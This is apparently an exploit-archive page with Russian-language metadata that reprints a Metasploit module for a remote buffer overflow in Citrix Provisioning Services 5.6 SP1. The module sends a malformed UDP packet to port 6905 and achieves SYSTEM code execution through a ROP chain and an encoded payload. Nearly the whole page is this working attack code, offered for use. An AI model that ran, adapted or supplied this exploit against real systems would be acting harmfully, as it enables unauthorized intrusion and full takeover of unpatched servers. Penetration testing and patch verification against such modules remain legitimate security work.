Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow Exploit

Свойства

Дата публикации:
31.05.2012
Цель:
Citrix Provisioning Services 5.6 SP1
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a remote buffer overflow in the Citrix Provisioning Services
                5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
                0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution
                under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
                and Windows XP SP3.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
                    'juan vazquez'  # Metasploit module
                ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    ['OSVDB', '75780'],
                    ['BID', '49803'],
                    ['URL', 'http://support.citrix.com/article/CTX130846';]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                    'EncoderOptions' => {'BufferRegister'=>'ECX'},
                },
            'Platform'       => ['win'],
            'Targets'        =>
                [
                    [ 'Citrix Provisioning Services 5.6 SP1',
                        {
                            'Offset' => 5596,
                            'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
                        }
                    ]
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Nov 04 2011',  #CTX130846 creation date
            'DefaultTarget'  => 0))

        register_options([Opt::RPORT(6905)], self.class)
    end

    def exploit

        packet =  "\x02\x00\x02\x40" # DATA MSG
        packet << rand_text_alpha_upper(18)
        packet << "\x00\x00\x00\x00" # Length
        packet << rand_text_alpha_upper(target['Offset'])
        packet << [target.ret].pack('V')

        rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe

        rop_gadgets =
        [
            0x0045b141, # POP EAX; RETN streamprocess.exe
            0x1009a1bc, # VirtualProtect()
            0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
            0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
            0x004ad0cf, # POP EBP; RETN streamprocess.exe
            0x00455d9d, # PUSH ESP; RETN streamprocess.exe
            0x00497f5a, # POP EAX; RETN streamprocess.exe
            0xfffff9d0, # dwSize
            0x00447669, # NEG EAX; RETN streamprocess.exe
            0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
            0x00426305, # POP ECX; RETN streamprocess.exe
            0x00671fb9, # lpflOldProtect
            0x004e41e6, # POP EDI; RETN streamprocess.exe
            0x0040f004, # RETN streamprocess.exe
            0x00495c05, # POP EAX; RETN streamprocess.exe
            0xffffffc0, # flNewProtect
            0x0042c79a, # NEG EAX; RETN streamprocess.exe
            0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
            0x0045c1fa, # POP EAX; RETN streamprocess.exe
            0x90909090, # NOP
            0x00435bbe, # PUSHAD; RETN streamprocess.exe
        ].pack("V*")

        packet[398, rop_nop.length] = rop_nop
        packet[550, rop_gadgets.length] = rop_gadgets
        # Put payload address in ecx
        geteip = "\xeb\x03" # jmp short 0x5
        geteip << "\x59" # pop ecx
        geteip << "\xff\xd1" # call ecx
        geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
        packet[634, 10] = geteip
        packet[644, payload.encoded.length] = payload.encoded

        print_status("Trying target #{target.name}...")

        connect_udp
        udp_sock.put(packet)

        handler
        disconnect_udp
    end
end

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